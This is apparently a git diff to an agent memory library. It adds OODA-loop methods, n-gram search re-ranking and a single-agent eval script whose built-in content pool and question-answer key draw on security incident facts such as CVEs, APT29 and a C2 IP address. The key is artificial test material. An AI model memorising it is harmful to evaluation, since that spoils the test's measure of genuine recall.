event-driven input (next() / close()). + ListInputSource: Wraps a list of strings (single-agent eval). + ServiceBusInputSource: Wraps Azure Service Bus with blocking receive. + StdinInputSource: Reads lines from stdin (interactive use). AgenticLoop: Main PERCEIVE->REASON->ACT->LEARN loop ActionExecutor: Tool registry with actions MemoryRetriever: Kuzu memory search interface (original) - LearningAgent: Generic agent for learning from content and answering questions - WikipediaLearningAgent: Backward-compatible alias for LearningAgent HierarchicalMemory: Graph-based hierarchical memory system FlatRetrieverAdapter: Backward-compatible adapter for HierarchicalMemory CognitiveAdapter: 6-type cognitive memory adapter GraphRAGRetriever: Graph RAG retriever for knowledge subgraphs + +Private implementation details (not part of the public API): + LearningAgent: Absorbed into Memory.store() and GoalSeekingAgent internals. + Still importable for backward compatibility but not listed in __all__. + New code should use GoalSeekingAgent.process() or Memory.store() instead. + WikipediaLearningAgent: Backward-compatible alias for LearningAgent. """ +from .goal_seeking_agent import GoalSeekingAgent +from .input_source import InputSource, ListInputSource, ServiceBusInputSource, StdinInputSource from .action_executor import ActionExecutor from .agentic_loop import ( AgenticLoop, @@ -59,6 +74,8 @@ WikipediaLearningAgent = LearningAgent __all__ = [ + # Primary public API + "GoalSeekingAgent", "AgentSpawner", "AgenticLoop", "ActionExecutor", @@ -74,11 +91,9 @@ "KnowledgeEdge", "KnowledgeNode", "KnowledgeSubgraph", - "LearningAgent", "MemoryCategory", "MemoryClassifier", "MemoryRetriever", - "WikipediaLearningAgent", "CoordinatorAgent", "MemoryAgent", "MultiAgentLearningAgent", @@ -92,4 +107,7 @@ "get_sdk_tools", "import_memory", "inject_sdk_tools", + # Kept for backward compatibility but not part of the public API. + # New code should use GoalSeekingAgent.process() or Memory.store(). + # LearningAgent and WikipediaLearningAgent are still importable directly. ] diff --git a/src/amplihack/agents/goal_seeking/agentic_loop.py b/src/amplihack/agents/goal_seeking/agentic_loop.py index bb91722ab..61834a553 100644 --- a/src/amplihack/agents/goal_seeking/agentic_loop.py +++ b/src/amplihack/agents/goal_seeking/agentic_loop.py @@ -167,6 +167,7 @@ def __init__( memory_retriever, model: str = DEFAULT_MODEL, max_iterations: int = 10, + memory: Any = None, ): """Initialize agentic loop. @@ -176,6 +177,9 @@ def __init__( memory_retriever: MemoryRetriever instance model: LLM model to use (litellm format) max_iterations: Maximum iterations per goal + memory: Optional Memory facade instance (from amplihack.memory.facade). + When provided, perceive() uses memory.remember/recall and learn() + uses memory.remember() instead of memory_retriever.store_fact(). Raises: ValueError: If agent_name is empty @@ -189,10 +193,51 @@ def __init__( self.model = model self.max_iterations = max_iterations self.iteration_count = 0 + self._memory = memory # Optional Memory facade + + def observe(self, observation: str) -> str: + """OBSERVE phase: ingest an observation and recall immediate context. + + Stores the observation via Memory facade (if available) and returns + any prior knowledge recalled for that observation. + + Args: + observation: Raw input/content to observe + + Returns: + String of recalled prior context (empty when none found) + """ + if self._memory is not None: + self._memory.remember(observation) + recalled = self._memory.recall(observation, limit=3) + return "\n".join(recalled) if recalled else "" + return "" + + def orient(self, query: str = "") -> str: + """ORIENT phase: build a world model from domain knowledge. + + Recalls similar past situations and domain knowledge via Memory facade + (if available) to construct a world model for the current context. + + Args: + query: Query to use for recalling relevant knowledge + + Returns: + World model string assembled from recalled knowledge + """ + if self._memory is not None: + recalled = self._memory.recall(query, limit=5) + return "\n".join(recalled) if recalled else "" + return "" def perceive(self, observation: str, goal: str) -> str: """PERCEIVE phase: Observe environment and retrieve relevant memory. + Internally calls observe() (remember + recall immediate context) and + orient() (recall domain knowledge + build world model) when a Memory + facade is configured. Falls back to memory_retriever keyword search + for backward compatibility when no Memory facade is set. + Args: observation: Current observation/input goal: Current goal @@ -200,17 +245,27 @@ def perceive(self, observation: str, goal: str) -> str: Returns: Perception string combining observation and relevant memory """ - # Search memory for relevant experiences - relevant_memories = self.memory_retriever.search(query=observation, limit=3) + # OBSERVE: store observation, recall immediate context + prior_context = self.observe(observation) + + # ORIENT: build world model from domain knowledge + world_model = self.orient(observation) - # Build perception + # Build perception string perception = f"Goal: {goal}\n" perception += f"Observation: {observation}\n" - if relevant_memories: - perception += "\nRelevant past experiences:\n" - for i, mem in enumerate(relevant_memories, 1): - perception += f"{i}. {mem['context']} → {mem['outcome']}\n" + if prior_context or world_model: + combined = "\n".join(filter(None, [prior_context, world_model])) + if combined: + perception += f"\nPrior knowledge:\n{combined}\n" + else: + # Fall back to original memory_retriever search (no Memory facade) + relevant_memories = self.memory_retriever.search(query=observation, limit=3) + if relevant_memories: + perception += "\nRelevant past experiences:\n" + for i, mem in enumerate(relevant_memories, 1): + perception += f"{i}. {mem['context']} → {mem['outcome']}\n" return perception @@ -320,6 +375,10 @@ def act(self, action_decision: dict[str, Any]) -> Any: def learn(self, perception: str, reasoning: str, action: dict[str, Any], outcome: Any) -> str: """LEARN phase: Store experience in memory. + When a Memory facade is configured, stores the outcome summary via + memory.remember(). Otherwise falls back to memory_retriever.store_fact() + for backward compatibility. + Args: perception: What was observed reasoning: How the agent reasoned @@ -334,19 +393,24 @@ def learn(self, perception: str, reasoning: str, action: dict[str, Any], outcome if isinstance(outcome, dict) and "error" in outcome: success = False - # Build context and learning + # Build outcome summary context = f"{perception}\nReasoning: {reasoning}" learning = f"Action: {action['action']} with {action.get('params', {})}\n" learning += f"Outcome: {outcome}" + outcome_summary = learning[:500] - # Store in memory - confidence = 0.9 if success else 0.5 - self.memory_retriever.store_fact( - context=context[:500], # Limit context length - fact=learning[:500], - confidence=confidence, - tags=[action["action"], "agent_loop"], - ) + if self._memory is not None: + # Use Memory facade — remember() handles storage internally + self._memory.remember(outcome_summary) + else: + # Fall back to memory_retriever (backward compat) + confidence = 0.9 if success else 0.5 + self.memory_retriever.store_fact( + context=context[:500], + fact=outcome_summary, + confidence=confidence, + tags=[action["action"], "agent_loop"], + ) return learning diff --git a/src/amplihack/agents/goal_seeking/cognitive_adapter.py b/src/amplihack/agents/goal_seeking/cognitive_adapter.py index 9c3a98bce..9e7f64418 100644 --- a/src/amplihack/agents/goal_seeking/cognitive_adapter.py +++ b/src/amplihack/agents/goal_seeking/cognitive_adapter.py @@ -17,14 +17,147 @@ from __future__ import annotations +import itertools import logging from pathlib import Path from typing import Any -from .hive_mind.constants import DEFAULT_CONFIDENCE_GATE, DEFAULT_QUALITY_THRESHOLD +from .hive_mind.constants import ( + DEFAULT_CONFIDENCE_GATE, + DEFAULT_QUALITY_THRESHOLD, + KUZU_BUFFER_POOL_SIZE, +) logger = logging.getLogger(__name__) +# --------------------------------------------------------------------------- +# Stop words for query filtering (improves search precision) +# --------------------------------------------------------------------------- +_QUERY_STOP_WORDS = frozenset( + { + "what", + "is", + "the", + "a", + "an", + "are", + "was", + "were", + "how", + "does", + "do", + "and", + "or", + "of", + "in", + "to", + "for", + "with", + "on", + "at", + "by", + "from", + "that", + "this", + "it", + "as", + "be", + "been", + "has", + "have", + "had", + "will", + "would", + "could", + "should", + "did", + "which", + "who", + "when", + "where", + "why", + "any", + "some", + "all", + "both", + "each", + "few", + "more", + "most", + "other", + "such", + "into", + "through", + "during", + "before", + "after", + "than", + "then", + "these", + "those", + "there", + "their", + "they", + "its", + "our", + "your", + "my", + "we", + "i", + "you", + "he", + "she", + "me", + "him", + "her", + "them", + "used", + "found", + "given", + "made", + "came", + "went", + "said", + "got", + } +) + + +def _filter_stop_words(query: str) -> str: + """Return query with stop words removed, preserving meaningful terms.""" + words = [w.strip("?.,!;:'\"()[]") for w in query.lower().split()] + filtered = [w for w in words if w and w not in _QUERY_STOP_WORDS and len(w) > 1] + return " ".join(filtered) if filtered else query.lower() + + +def _ngram_overlap_score(query: str, text: str) -> float: + """Score text by unigram + bigram overlap with query (after stop word removal). + + Returns a float in [0, 1] where higher = more overlap. + """ + q_words = [w.strip("?.,!;:'\"") for w in query.lower().split()] + t_words = text.lower().split() + + # Unigram overlap (stop-word filtered) + q_terms = {w for w in q_words if w and w not in _QUERY_STOP_WORDS and len(w) > 1} + t_set = set(t_words) + # Also check substring containment for partial matches (e.g. "login" in "logins") + unigram_hits = sum( + 1 + for t in q_terms + if t in t_set or any(w.startswith(t) or t.startswith(w) for w in t_set if len(w) > 2) + ) + unigram = unigram_hits / max(1, len(q_terms)) if q_terms else 0.0 + + # Bigram overlap + q_bigrams = list(itertools.pairwise(q_words)) + t_bigrams = set(itertools.pairwise(t_words)) + bigram_hits = sum(1 for bg in q_bigrams if bg in t_bigrams) + bigram = bigram_hits / max(1, len(q_bigrams)) if q_bigrams else 0.0 + + return unigram * 0.65 + bigram * 0.35 + + # Try importing CognitiveMemory, fall back to HierarchicalMemory try: from amplihack_memory.cognitive_memory import CognitiveMemory # type: ignore[import-not-found] @@ -75,6 +208,7 @@ def __init__( quality_threshold: float = DEFAULT_QUALITY_THRESHOLD, confidence_gate: float = DEFAULT_CONFIDENCE_GATE, enable_query_expansion: bool = False, + buffer_pool_size: int = KUZU_BUFFER_POOL_SIZE, ): self.agent_name = agent_name self.memory: Any = None # CognitiveMemory or HierarchicalMemory @@ -85,6 +219,8 @@ def __init__( self._confidence_gate = confidence_gate # Query expansion: opt-in, disabled by default self._enable_query_expansion = enable_query_expansion and _HAS_QUERY_EXPANSION + # Buffer pool size for Kuzu (passed via functools.partial when creating the DB) + self._buffer_pool_size = buffer_pool_size if db_path is None: db_path = Path.home() / ".amplihack" / "cognitive_memory" / agent_name @@ -98,6 +234,10 @@ def __init__( kuzu_path = db_path / "kuzu_db" if not kuzu_path.exists(): kuzu_path.parent.mkdir(parents=True, exist_ok=True) + + # Note: CognitiveMemory creates kuzu.Database internally using its + # own defaults. The buffer_pool_size parameter is accepted here for + # API consistency but CognitiveMemory does not expose it. self.memory = CognitiveMemory(agent_name=agent_name, db_path=str(kuzu_path)) self._cognitive = True else: @@ -243,22 +383,51 @@ def search( ) -> list[dict[str, Any]]: """Search memory and return flat list of result dicts. + Uses substring matching with n-gram overlap re-ranking for improved recall. + Stop words are filtered before querying the backend to reduce noise. + Falls back to full-corpus scan with n-gram ranking when filtered search + returns no results so that all stored content is always reachable. + When a hive_store is connected, searches both local memory and the shared hive, deduplicates by content, and returns merged results. """ if not query or not query.strip(): return [] + # Filter stop words for more targeted backend search + filtered_query = _filter_stop_words(query) + search_q = filtered_query if filtered_query.strip() else query.strip() + if self._cognitive: + # Request extra candidates so n-gram re-ranking has more to work with results = self.memory.search_facts( - query=query.strip(), limit=limit, min_confidence=min_confidence + query=search_q, limit=limit * 3, min_confidence=min_confidence ) local_results = [self._semantic_fact_to_dict(r) for r in results] + # Fallback: scan all stored content when filtered search returns nothing + if not local_results: + all_facts = self.memory.get_all_facts(limit=limit * 5) + local_results = [self._semantic_fact_to_dict(r) for r in all_facts] else: - subgraph = self.memory.retrieve_subgraph(query=query.strip(), max_nodes=limit) + subgraph = self.memory.retrieve_subgraph(query=search_q, max_nodes=limit * 3) local_results = [ self._node_to_dict(n) for n in subgraph.nodes if n.confidence >= min_confidence ] + # Fallback: scan all stored content when filtered search returns nothing + if not local_results and hasattr(self.memory, "get_all_knowledge"): + nodes = self.memory.get_all_knowledge(limit=limit * 5) + local_results = [self._node_to_dict(n) for n in nodes] + + # Re-rank by n-gram overlap with original query for relevance ordering + if local_results: + scored = [] + for r in local_results: + content = r.get("outcome", r.get("content", "")) + concept = r.get("context", r.get("concept", "")) + score = _ngram_overlap_score(query, f"{concept} {content}") + scored.append((score, r)) + scored.sort(key=lambda x: x[0], reverse=True) + local_results = [r for _, r in scored[:limit]] if self._hive_store is None: return local_results @@ -267,11 +436,65 @@ def search( hive_results = self._search_hive(query.strip(), limit=limit) return self._merge_results(local_results, hive_results, limit) - def get_all_facts(self, limit: int = 50) -> list[dict[str, Any]]: + def search_local( + self, + query: str, + limit: int = 10, + min_confidence: float = 0.0, + ) -> list[dict[str, Any]]: + """Search LOCAL memory only — no hive/distributed query. + + Used by shard query handlers to avoid recursive SHARD_QUERY storms: + when agent A queries agent B, agent B must search only its own local + memory, not trigger another round of distributed queries. + """ + if not query or not query.strip(): + return [] + + filtered_query = _filter_stop_words(query) + search_q = filtered_query if filtered_query.strip() else query.strip() + + if self._cognitive: + results = self.memory.search_facts( + query=search_q, limit=limit * 3, min_confidence=min_confidence + ) + local_results = [self._semantic_fact_to_dict(r) for r in results] + if not local_results: + all_facts = self.memory.get_all_facts(limit=limit * 5) + local_results = [self._semantic_fact_to_dict(r) for r in all_facts] + else: + subgraph = self.memory.retrieve_subgraph(query=search_q, max_nodes=limit * 3) + local_results = [ + self._node_to_dict(n) for n in subgraph.nodes if n.confidence >= min_confidence + ] + if not local_results and hasattr(self.memory, "get_all_knowledge"): + nodes = self.memory.get_all_knowledge(limit=limit * 5) + local_results = [self._node_to_dict(n) for n in nodes] + + if local_results: + scored = [] + for r in local_results: + content = r.get("outcome", r.get("content", "")) + concept = r.get("context", r.get("concept", "")) + score = _ngram_overlap_score(query, f"{concept} {content}") + scored.append((score, r)) + scored.sort(key=lambda x: x[0], reverse=True) + local_results = [r for _, r in scored[:limit]] + + return local_results + + def get_all_facts(self, limit: int = 50, query: str = "") -> list[dict[str, Any]]: """Retrieve all facts without keyword filtering. When a hive_store is connected, returns facts from both local memory and the shared hive, deduplicated by content. + + Args: + limit: Maximum results to return. + query: Optional question text. When provided and hive is a + distributed graph, uses targeted ``_search_hive(query)`` + instead of ``_get_all_hive_facts()`` (which sends an + empty-query ``query_facts("")`` that remote shards reject). """ if self._cognitive: results = self.memory.get_all_facts(limit=limit) @@ -283,7 +506,13 @@ def get_all_facts(self, limit: int = 50) -> list[dict[str, Any]]: if self._hive_store is None: return local_results - hive_results = self._get_all_hive_facts(limit=limit) + if query and query.strip(): + # Targeted hive search — works with DistributedHiveGraph where + # empty-query get_all_hive_facts returns nothing (remote shards + # reject SHARD_QUERY with empty query). + hive_results = self._search_hive(query.strip(), limit=limit) + else: + hive_results = self._get_all_hive_facts(limit=limit) return self._merge_results(local_results, hive_results, limit) @staticmethod @@ -322,8 +551,11 @@ def _search_hive(self, query: str, limit: int = 50) -> list[dict[str, Any]]: (InMemoryHiveGraph tree traversal) → query_facts (local only). """ if self._hive_store is None: + logger.info("_search_hive: no hive_store, skipping") return [] + logger.info("_search_hive: querying hive for '%s' (limit=%d)", query[:80], limit) + # Optional query expansion search_query = query if self._enable_query_expansion and _HAS_QUERY_EXPANSION: @@ -493,15 +725,25 @@ def search_by_concept(self, keywords: list[str], limit: int = 30) -> list[dict[s limit: Maximum nodes to return per keyword Returns: - List of fact dicts matching any of the keywords + List of fact dicts matching any of the keywords, including + distributed hive results when a hive_store is connected. """ if self._cognitive and hasattr(self.memory, "search_by_concept"): results = self.memory.search_by_concept(keywords=keywords, limit=limit) - return [self._semantic_fact_to_dict(r) for r in results] - if hasattr(self.memory, "search_by_concept"): + local_results: list[dict[str, Any]] = [self._semantic_fact_to_dict(r) for r in results] + elif hasattr(self.memory, "search_by_concept"): nodes = self.memory.search_by_concept(keywords=keywords, limit=limit) - return [self._node_to_dict(n) for n in nodes] - return [] + local_results = [self._node_to_dict(n) for n in nodes] + else: + local_results = [] + + if self._hive_store is None: + return local_results + + # Also search the distributed hive for facts not in local memory + query = " ".join(keywords[:4]) + hive_results = self._search_hive(query, limit=limit) + return self._merge_results(local_results, hive_results, limit) def execute_aggregation(self, query_type: str, entity_filter: str = "") -> dict[str, Any]: """Execute Cypher aggregation query for meta-memory questions. diff --git a/src/amplihack/agents/goal_seeking/continuous_eval.py b/src/amplihack/agents/goal_seeking/continuous_eval.py new file mode 100644 index 000000000..86c7f279a --- /dev/null +++ b/src/amplihack/agents/goal_seeking/continuous_eval.py @@ -0,0 +1,250 @@ +#!/usr/bin/env python3 +"""continuous_eval.py — Single-agent eval using the event-driven OODA loop. + +Feeds a list of dialogue turns into a GoalSeekingAgent via ListInputSource, +then answers a set of eval questions in a tight loop — no artificial delays. + +This is the single-agent counterpart to the distributed hive eval in +``experiments/hive_mind/query_hive.py``. Both paths share the same +GoalSeekingAgent / run_ooda_loop code; only the InputSource differs: + + Single agent: ListInputSource(turns) + Distributed: ServiceBusInputSource(conn_str, agent_name) + +Usage: + python -m amplihack.agents.goal_seeking.continuous_eval + python -m amplihack.agents.goal_seeking.continuous_eval --turns 5000 \\ + --output /tmp/hive_eval_v4.json --repeats 3 +""" + +from __future__ import annotations + +import argparse +import json +import logging +import os +import sys +import tempfile +import time +from pathlib import Path + +logger = logging.getLogger(__name__) + + +# --------------------------------------------------------------------------- +# Default eval content (security analyst domain) +# --------------------------------------------------------------------------- + +_DEFAULT_CONTENT = [ + "Log4Shell (CVE-2021-44228) is a critical RCE vulnerability in Apache Log4j 2.x with a CVSS score of 10.0.", + "The Midnight Blizzard (APT29) threat actor is linked to the Russian SVR intelligence service.", + "Incident INC-2024-001: Ransomware encrypted 500 files on corp-server-01. Encrypted files restored from backup.", + "The insider threat incident involved jsmith downloading 2,847 documents before account suspension.", + "CVE-2021-44228 affects Apache Log4j versions 2.0-beta9 through 2.14.1.", + "A malicious npm package 'event-stream' was used in a supply chain attack targeting cryptocurrency wallets.", + "Incident INC-2024-002: C2 beacon to 185.220.101.45 detected from workstation WS-047.", + "DNS tunneling uses DNS protocol to exfiltrate data by encoding payloads in DNS queries.", + "Security improvement after INC-2024-001: mandatory MFA enforced for all privileged accounts.", + "APT29 uses spearphishing and DNS tunneling for initial access and C2 communications.", + "Zero-day exploit CVE-2023-23397 targets Microsoft Outlook with no user interaction required.", + "Lateral movement via pass-the-hash attack detected using Mimikatz credential dumping tool.", + "The MITRE ATT&CK framework documents 14 tactics used by adversaries in cyber attacks.", + "Ransomware operators increasingly use double extortion: encrypt data AND threaten to leak it.", + "SIEM correlation rule triggered: 50+ failed logins followed by successful login from new IP.", +] + +_DEFAULT_QUESTIONS = [ + ("What CVE is associated with the Log4Shell vulnerability?", "CVE-2021-44228"), + ("Which threat actor is associated with APT29?", "Midnight Blizzard"), + ("What happened in incident INC-2024-001?", "Ransomware encrypted 500 files"), + ("How many documents did jsmith download?", "2,847"), + ("What was the CVSS score of CVE-2021-44228?", "10.0"), + ("Which malicious npm package was used in the supply chain attack?", "event-stream"), + ("What IP address was the C2 server in INC-2024-002?", "185.220.101.45"), + ("How were the encrypted files restored after INC-2024-001?", "restored from backup"), + ("What is DNS tunneling used for in the APT29 campaign?", "exfiltrate data"), + ("What security improvement was enforced after INC-2024-001?", "MFA"), +] + + +# --------------------------------------------------------------------------- +# Grading +# --------------------------------------------------------------------------- + + +def _grade_answer(question: str, expected: str, actual: str) -> float: + """Simple substring-based grading (0.0 or 1.0).""" + if not actual: + return 0.0 + actual_lower = actual.lower() + expected_lower = expected.lower() + # Any expected keyword found in the answer + keywords = [w for w in expected_lower.split() if len(w) > 3] + if not keywords: + return 1.0 if expected_lower in actual_lower else 0.0 + hits = sum(1 for kw in keywords if kw in actual_lower) + return hits / len(keywords) + + +# --------------------------------------------------------------------------- +# Main eval runner +# --------------------------------------------------------------------------- + + +def run_eval( + turns: int = 100, + repeats: int = 1, + output: str | None = None, + content_pool: list[str] | None = None, + questions: list[tuple[str, str]] | None = None, + storage_path: str | None = None, +) -> dict: + """Run single-agent continuous eval with ListInputSource. + + Args: + turns: Number of content turns to feed. + repeats: Number of eval repetitions (results averaged). + output: Optional path to write JSON results. + content_pool: Override the default content pool. + questions: Override the default eval questions. + storage_path: Override the agent storage directory. + + Returns: + Results dict with per-question scores and summary stats. + """ + from amplihack.agents.goal_seeking.goal_seeking_agent import GoalSeekingAgent + from amplihack.agents.goal_seeking.input_source import ListInputSource + + pool = content_pool or _DEFAULT_CONTENT + qs = questions or _DEFAULT_QUESTIONS + all_results = [] + + for rep in range(repeats): + logger.info("--- Repeat %d/%d ---", rep + 1, repeats) + + with tempfile.TemporaryDirectory() as tmpdir: + sp = Path(storage_path or tmpdir) / f"eval-agent-rep{rep}" + sp.mkdir(parents=True, exist_ok=True) + + agent = GoalSeekingAgent( + agent_name="eval-agent", + storage_path=sp, + use_hierarchical=False, + ) + + # Phase 1: feed content turns via ListInputSource (tight loop — no sleep) + content_turns = [pool[i % len(pool)] for i in range(turns)] + src = ListInputSource(content_turns) + + t0 = time.time() + agent.run_ooda_loop(src) + learn_elapsed = time.time() - t0 + logger.info( + "Rep %d: fed %d turns in %.2fs (%.0f turns/s)", + rep + 1, + turns, + learn_elapsed, + turns / learn_elapsed if learn_elapsed > 0 else float("inf"), + ) + + # Phase 2: answer eval questions + q_results = [] + for question, expected in qs: + t_q = time.time() + # Create a single-item ListInputSource for the question + q_src = ListInputSource([question]) + # Capture answer via process() directly + answer = agent.process(question) or "" + score = _grade_answer(question, expected, answer) + q_results.append( + { + "question": question, + "expected": expected, + "answer": answer[:200], + "score": score, + "elapsed_s": round(time.time() - t_q, 2), + } + ) + logger.info( + " Q: %s -> score=%.2f (%.2fs)", + question[:60], + score, + time.time() - t_q, + ) + + all_results.append( + { + "repeat": rep + 1, + "turns": turns, + "learn_elapsed_s": round(learn_elapsed, 2), + "learn_throughput": round(turns / learn_elapsed, 1) if learn_elapsed > 0 else 0, + "questions": q_results, + "avg_score": round( + sum(r["score"] for r in q_results) / len(q_results), 3 + ) + if q_results + else 0.0, + } + ) + + agent.close() + + summary = { + "eval": "continuous_eval", + "turns": turns, + "repeats": repeats, + "results": all_results, + "aggregate": { + "avg_score": round( + sum(r["avg_score"] for r in all_results) / len(all_results), 3 + ) + if all_results + else 0.0, + "avg_learn_throughput": round( + sum(r["learn_throughput"] for r in all_results) / len(all_results), 1 + ) + if all_results + else 0.0, + }, + } + + if output: + Path(output).parent.mkdir(parents=True, exist_ok=True) + Path(output).write_text(json.dumps(summary, indent=2)) + logger.info("Results written to %s", output) + else: + print(json.dumps(summary, indent=2)) + + return summary + + +# --------------------------------------------------------------------------- +# CLI entry point +# --------------------------------------------------------------------------- + + +def main(argv: list[str] | None = None) -> None: + logging.basicConfig( + level=logging.INFO, + format="%(asctime)s [%(name)s] %(levelname)s: %(message)s", + ) + parser = argparse.ArgumentParser( + description="Single-agent continuous eval via ListInputSource (no polling sleep)", + formatter_class=argparse.ArgumentDefaultsHelpFormatter, + ) + parser.add_argument("--turns", type=int, default=100, help="Number of content turns to feed") + parser.add_argument("--repeats", type=int, default=1, help="Number of eval repetitions") + parser.add_argument("--output", "-o", type=str, help="Path to write JSON results") + parser.add_argument("--storage-path", type=str, help="Override agent storage directory") + args = parser.parse_args(argv) + + run_eval( + turns=args.turns, + repeats=args.repeats, + output=args.output, + storage_path=args.storage_path, + ) + + +if __name__ == "__main__": + main() diff --git a/src/amplihack/agents/goal_seeking/goal_seeking_agent.py b/src/amplihack/agents/goal_seeking/goal_seeking_agent.py new file mode 100644 index 000000000..21bec4471 --- /dev/null +++ b/src/amplihack/agents/goal_seeking/goal_seeking_agent.py @@ -0,0 +1,354 @@ +from __future__ import annotations + +"""GoalSeekingAgent — OODA loop interface over the LearningAgent internals. + +Philosophy: +- Single agent type with a universal OODA loop (Observe-Orient-Decide-Act). +- Content and questions are both just *input*. The agent classifies and handles + them internally. The caller never calls learn_from_content() or + answer_question() directly. +- Output (answers) goes to stdout/log. In distributed mode Container Apps + streams this to Log Analytics. The eval reads from there — no Service Bus + round-trip for answers. +- LearningAgent is an implementation detail; GoalSeekingAgent is the public API. + +Public API: + observe(input_data) → store raw input, start OODA cycle + orient() → recall relevant facts from memory → dict + decide() → classify as "store" | "answer" + act() → execute decision, write output to stdout → str + process(input_data) → observe → orient → decide → act pipeline → str + +Backward compatibility: + LearningAgent is NOT removed; existing callers continue to work unchanged. +""" + +import logging +from pathlib import Path +from typing import Any + +logger = logging.getLogger(__name__) + +# Minimal sentinel so orient/decide/act can be called without prior observe() +_NO_INPUT = object() + + +class GoalSeekingAgent: + """Goal-seeking agent with a pure OODA loop. + + All input — whether content to memorise or a question to answer — is fed + via ``observe()``. The agent classifies the input during ``decide()`` and + produces output (answers written to stdout) during ``act()``. + + Internally this wraps :class:`~amplihack.agents.goal_seeking.LearningAgent` + so all existing memory / Kuzu / CognitiveAdapter infrastructure is reused + without modification. + + Args: + agent_name: Unique identifier for this agent. + model: LLM model string (litellm format). Defaults to ``EVAL_MODEL`` + env var or ``claude-opus-4-6``. + storage_path: Override storage directory for memory. + use_hierarchical: Pass through to LearningAgent backend selection. + hive_store: Shared hive graph store for distributed memory. + prompt_variant: Variant number (1-5) for A/B prompt testing. + """ + + def __init__( + self, + agent_name: str = "goal_seeking_agent", + model: str | None = None, + storage_path: Path | None = None, + use_hierarchical: bool = False, + hive_store: object | None = None, + prompt_variant: int | None = None, + ) -> None: + # Import here to avoid circular imports and keep module-level import clean + from .learning_agent import LearningAgent + + self._agent_name = agent_name + self._learning_agent = LearningAgent( + agent_name=agent_name, + model=model, + storage_path=storage_path, + use_hierarchical=use_hierarchical, + hive_store=hive_store, + prompt_variant=prompt_variant, + ) + + # OODA state — reset per process() call + self._current_input: str = "" + self._oriented_facts: dict[str, Any] = {} + self._decision: str = "" # "store" | "answer" + + # Optional callback fired after act() produces an answer. + # Set via DI by the entrypoint for distributed eval answer collection. + # Signature: on_answer(agent_name: str, answer: str) -> None + self.on_answer: Any | None = None + + # ------------------------------------------------------------------ + # OODA loop — public API + # ------------------------------------------------------------------ + + def observe(self, input_data: str) -> None: + """Observe raw input from the environment. + + All input types — article text, event payloads, user questions — are + passed here. No classification happens yet. + + Args: + input_data: Raw string input (content, question, or event text). + """ + self._current_input = input_data or "" + self._oriented_facts = {} + self._decision = "" + logger.debug( + "Agent %s observed input (%d chars)", self._agent_name, len(self._current_input) + ) + + def orient(self) -> dict[str, Any]: + """Contextualise the observed input using memory recall. + + Calls Memory.recall / memory search to surface relevant existing + knowledge. Returns a dict with ``facts`` (list of recalled fact + strings) and ``input`` (the raw observed input). + + Returns: + dict with keys: + ``input`` — raw observed input string + ``facts`` — list of recalled fact strings (may be empty) + """ + if not self._current_input: + self._oriented_facts = {"input": "", "facts": []} + return self._oriented_facts + + # Use LearningAgent's internal memory to recall relevant context + facts: list[str] = [] + try: + memory = self._learning_agent.memory + if hasattr(memory, "search"): + raw = memory.search(self._current_input[:200], limit=15) + facts = [ + r.get("outcome", r.get("fact", str(r))) if isinstance(r, dict) else str(r) + for r in (raw or []) + ] + elif hasattr(memory, "search_facts"): + raw = memory.search_facts(self._current_input[:200], limit=15) + facts = [ + r.get("outcome", r.get("fact", str(r))) if isinstance(r, dict) else str(r) + for r in (raw or []) + ] + except Exception: + logger.debug("orient() memory recall failed", exc_info=True) + + self._oriented_facts = {"input": self._current_input, "facts": facts} + logger.debug("Agent %s oriented: %d recalled facts", self._agent_name, len(facts)) + return self._oriented_facts + + def decide(self) -> str: + """Classify the input as ``'store'`` (learn) or ``'answer'`` (respond). + + Uses simple heuristics first (question marks, interrogative words) and + falls back to the LearningAgent's intent-detection LLM call for + ambiguous cases. + + Returns: + ``'answer'`` if the input looks like a question, ``'store'`` otherwise. + """ + text = self._current_input.strip() + if not text: + self._decision = "store" + return self._decision + + # Fast path: interrogative signals → answer + lower = text.lower() + _QUESTION_PREFIXES = ( + "what ", + "who ", + "when ", + "where ", + "why ", + "how ", + "which ", + "is ", + "are ", + "was ", + "were ", + "do ", + "does ", + "did ", + "can ", + "could ", + "should ", + "would ", + "will ", + "has ", + "have ", + "had ", + ) + is_question = text.endswith("?") or any(lower.startswith(p) for p in _QUESTION_PREFIXES) + + if is_question: + self._decision = "answer" + else: + # Not a question → store. No LLM call needed for classification. + # The intent detector is designed for questions, not content. + self._decision = "store" + + logger.debug("Agent %s decided: %s", self._agent_name, self._decision) + return self._decision + + def act(self) -> str: + """Execute the decision and produce output. + + * ``'store'`` → calls LearningAgent.learn_from_content() (memory impl detail). + * ``'answer'`` → calls LearningAgent.answer_question(), writes answer to + stdout so Container Apps streams it to Log Analytics. + + Returns: + Output string: answer text for ``'answer'``, summary for ``'store'``. + """ + text = self._current_input + output = "" + + if self._decision == "answer": + try: + result = self._learning_agent.answer_question(text) + output = result[0] if isinstance(result, tuple) else str(result) + except Exception: + logger.exception("Agent %s act() answer_question failed", self._agent_name) + output = "Error: could not synthesize answer." + # Write answer to stdout — Container Apps streams this to Log Analytics + print(f"[{self._agent_name}] ANSWER: {output}", flush=True) + logger.info("Agent %s ANSWER: %s", self._agent_name, output) + # Fire callback for distributed eval answer collection + if self.on_answer: + try: + self.on_answer(self._agent_name, output) + except Exception: + pass # Never let callback errors break the OODA loop + + else: # "store" (or empty / unknown) + try: + result_dict = self._learning_agent.learn_from_content(text) + stored = result_dict.get("facts_stored", 0) + output = f"Stored {stored} facts from input." + except Exception: + logger.exception("Agent %s act() learn_from_content failed", self._agent_name) + output = "Error: could not store input." + logger.debug("Agent %s STORED: %s", self._agent_name, output) + + return output + + # ------------------------------------------------------------------ + # Convenience pipeline + # ------------------------------------------------------------------ + + def process(self, input_data: str) -> str: + """Run the full OODA pipeline for a single input. + + Equivalent to:: + + agent.observe(input_data) + agent.orient() + agent.decide() + return agent.act() + + Args: + input_data: Raw input string. + + Returns: + Output produced by ``act()``. + """ + self.observe(input_data) + self.orient() + self.decide() + return self.act() + + # ------------------------------------------------------------------ + # Event-driven OODA loop + # ------------------------------------------------------------------ + + def run_ooda_loop(self, input_source: object) -> None: + """Run the OODA loop driven by an InputSource — no polling, no sleeping. + + Calls ``input_source.next()`` in a tight loop. Each returned string + is processed via ``self.process()``. The loop exits when + ``input_source.next()`` returns ``None`` (end-of-input). + + The special sentinel ``"__FEED_COMPLETE__:"`` emitted by + :class:`~amplihack.agents.goal_seeking.input_source.ServiceBusInputSource` + for FEED_COMPLETE events is handled here: the agent logs the event and + continues running (waiting for eval queries that follow the feed). + + Args: + input_source: Any object implementing ``InputSource`` (next/close). + + Example:: + + from amplihack.agents.goal_seeking.input_source import ListInputSource + + 